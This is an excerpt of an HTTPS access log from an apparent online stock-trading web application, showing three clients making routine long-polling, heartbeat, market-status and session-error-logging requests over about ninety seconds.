[09/Jan/2026:10:17:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925318223 HTTP/1.1" -
[09/Jan/2026:10:17:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:17:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925308195 HTTP/1.1" -
[09/Jan/2026:10:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925310862 HTTP/1.1" -
[09/Jan/2026:10:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:17:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925324235 HTTP/1.1" -
[09/Jan/2026:10:17:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:17:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925313208 HTTP/1.1" -
[09/Jan/2026:10:17:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925315949 HTTP/1.1" -
[09/Jan/2026:10:17:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925330223 HTTP/1.1" -
[09/Jan/2026:10:17:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925318231 HTTP/1.1" -
[09/Jan/2026:10:17:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925320993 HTTP/1.1" -
[09/Jan/2026:10:17:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925336231 HTTP/1.1" -
[09/Jan/2026:10:17:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925323270 HTTP/1.1" -
[09/Jan/2026:10:17:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925326110 HTTP/1.1" -
[09/Jan/2026:10:17:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925342223 HTTP/1.1" -
[09/Jan/2026:10:17:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925328307 HTTP/1.1" -
[09/Jan/2026:10:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:17:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925331236 HTTP/1.1" -
[09/Jan/2026:10:17:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925333340 HTTP/1.1" -
[09/Jan/2026:10:17:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925348225 HTTP/1.1" -
[09/Jan/2026:10:17:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925336428 HTTP/1.1" -
[09/Jan/2026:10:17:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925338367 HTTP/1.1" -
[09/Jan/2026:10:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:17:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925341570 HTTP/1.1" -
[09/Jan/2026:10:17:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925354226 HTTP/1.1" -
[09/Jan/2026:10:17:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:17:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:17:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925343384 HTTP/1.1" -
[09/Jan/2026:10:17:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925346620 HTTP/1.1" -
[09/Jan/2026:10:17:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925360229 HTTP/1.1" -
[09/Jan/2026:10:17:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925348419 HTTP/1.1" -
[09/Jan/2026:10:18:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925351743 HTTP/1.1" -
[09/Jan/2026:10:18:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925366235 HTTP/1.1" -
[09/Jan/2026:10:18:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925353462 HTTP/1.1" -
[09/Jan/2026:10:18:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925356883 HTTP/1.1" -
[09/Jan/2026:10:18:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925372230 HTTP/1.1" -
[09/Jan/2026:10:18:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925358495 HTTP/1.1" -
[09/Jan/2026:10:18:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925361983 HTTP/1.1" -
[09/Jan/2026:10:18:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925363550 HTTP/1.1" -
[09/Jan/2026:10:18:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925378228 HTTP/1.1" -
[09/Jan/2026:10:18:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925367109 HTTP/1.1" -
[09/Jan/2026:10:18:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925368588 HTTP/1.1" -
[09/Jan/2026:10:18:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:18:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925372256 HTTP/1.1" -
[09/Jan/2026:10:18:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925384230 HTTP/1.1" -
[09/Jan/2026:10:18:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:18:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925373619 HTTP/1.1" -
[09/Jan/2026:10:18:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925377292 HTTP/1.1" -
[09/Jan/2026:10:18:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925390229 HTTP/1.1" -
[09/Jan/2026:10:18:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925378650 HTTP/1.1" -
[09/Jan/2026:10:18:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925382447 HTTP/1.1" -
[09/Jan/2026:10:18:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925396223 HTTP/1.1" -
[09/Jan/2026:10:18:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925383694 HTTP/1.1" -
[09/Jan/2026:10:18:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925387648 HTTP/1.1" -
[09/Jan/2026:10:18:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925402229 HTTP/1.1" -
[09/Jan/2026:10:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925388737 HTTP/1.1" -
[09/Jan/2026:10:18:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:18:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925392802 HTTP/1.1" -
[09/Jan/2026:10:18:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925408234 HTTP/1.1" -
[09/Jan/2026:10:18:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925393767 HTTP/1.1" -
[09/Jan/2026:10:18:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:18:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925397950 HTTP/1.1" -
[09/Jan/2026:10:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:18:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925398823 HTTP/1.1" -
[09/Jan/2026:10:18:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925414223 HTTP/1.1" -
[09/Jan/2026:10:18:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925403095 HTTP/1.1" -
[09/Jan/2026:10:18:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:18:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
